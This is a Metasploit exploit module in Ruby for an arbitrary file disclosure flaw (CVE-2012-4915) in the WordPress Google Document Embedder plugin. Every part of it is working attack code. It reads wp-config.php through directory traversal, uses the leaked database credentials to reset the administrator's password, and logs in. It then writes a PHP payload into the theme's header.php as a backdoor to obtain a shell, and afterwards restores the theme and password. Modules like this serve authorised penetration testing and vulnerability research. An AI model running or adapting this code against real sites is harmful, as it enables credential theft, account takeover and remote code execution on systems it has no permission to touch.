WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rbmysql'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
			'Description'    => %q{
					This module exploits an arbitrary file disclosure flaw in the WordPress
				blogging software plugin known as Google Document Embedder. The vulnerability allows for
				database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
				plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
				server is exposed on a accessible IP and Wordpress has filesystem write access.

				Please note: The admin password may get changed if the exploit does not run to the end.
			},
			'Author'         =>
				[
					'Charlie Eriksen',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-4915'],
					['OSVDB', '88891'],
					['URL', 'http://secunia.com/advisories/50832'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 03 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
				OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
				OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
			], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'
		admin_uri = String.new(uri)
		admin_uri << datastore['ADMINPATH']
		admin_uri << '/' if plugins_uri[-1,1] != '/'
		themes_uri = String.new(uri)
		themes_uri << datastore['THEMESPATH']
		themes_uri << '/' if plugins_uri[-1,1] != '/'

		print_status('Fetching wp-config.php')
		res = send_request_cgi({
			'method'     => 'GET',
			'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
			'vars_get'   =>
				{
					'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
					'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
				}
		})

		if res and res.body =~ /allow_url_fopen/
			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
		elsif res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		config = parse_wp_config(res.body)
		if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
			fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
		end
		begin
			@mysql_handle = ::RbMysql.connect({
				:host           => config['DB_HOST'],
				:port           => config['DB_PORT'],
				:read_timeout   => 300,
				:write_timeout  => 300,
				:socket         => nil,
				:user           => config['DB_USER'],
				:password       => config['DB_PASSWORD'],
				:db             => config['DB_NAME']
			})
		rescue Errno::ECONNREFUSED,
			RbMysql::ClientError,
			Errno::ETIMEDOUT,
			RbMysql::AccessDeniedError,
			RbMysql::HostNotPrivileged
			fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
		end
		res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
									INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

		if res.nil? or res.size <= 0
			fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
		end

		user = res.first

		new_password = rand_text_alphanumeric(8)
		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
		print_warning("Admin password changed to: #{new_password}")

		admin_cookie = get_wp_cookie(uri, user[0], new_password)

		theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

		print_warning("Editing theme #{theme}")
		set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

		print_status("Calling backdoor")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{themes_uri}#{theme}/header.php",
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

		print_status("Shell should have been acquired. Disabled backdoor")
	end

	def parse_wp_config(body)
		p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
		print_status("wp-config.php saved in: #{p}")
		print_status("Parsing config file")
		values = {}

		body.each_line do |line|
			if line =~ /define/
				key_pair = line.scan(/('|")([^'"]*)('|")/)
				if key_pair.length == 2
					values[key_pair[0][1]] = key_pair[1][1]
				end
			elsif line =~ /table_prefix/
				table_prefix = line.scan(/('|")([^'"]*)('|")/)
				values['DB_PREFIX'] = table_prefix[0][1]
			end
		end
		#Extract the port from DB_HOST and normalize DB_HOST
		values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

		if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
			print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
			values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
		end

		return values
	end

	def get_wp_cookie(uri, username, password)
		res = send_request_cgi({
			'method'     => 'POST',
			'uri'        => "#{uri}wp-login.php",
			'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
			'vars_post'  =>
				{
					'log'        => username,
					'pwd'        => password,
					'wp-submit'  => 'Log+In',
					'testcookie' => '1',
				},
		})

		if res and res.code == 200
			fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
		elsif res and res.code != 302
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		admin_cookie = ''
		(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
			admin_cookie << cookie.split(';')[0]
			admin_cookie << ';'
		end

		if admin_cookie.empty?
			fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
		end

		return admin_cookie
	end

	def get_wp_theme(admin_uri, admin_cookie)
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
			'cookie' => admin_cookie,
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
			fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
		end

		nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
		old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
		theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

		return [theme, nonce, old_content]
	end

	def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{admin_uri}theme-editor.php?",
			'cookie'    => admin_cookie,
			'vars_post' =>
				{
					'_wpnonce'   => nonce,
					'theme'      => theme,
					'newcontent' => new_content,
					'action'     => 'update',
					'file'       => 'header.php'
				},
		})

		if res and res.code != 302
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end
	end

end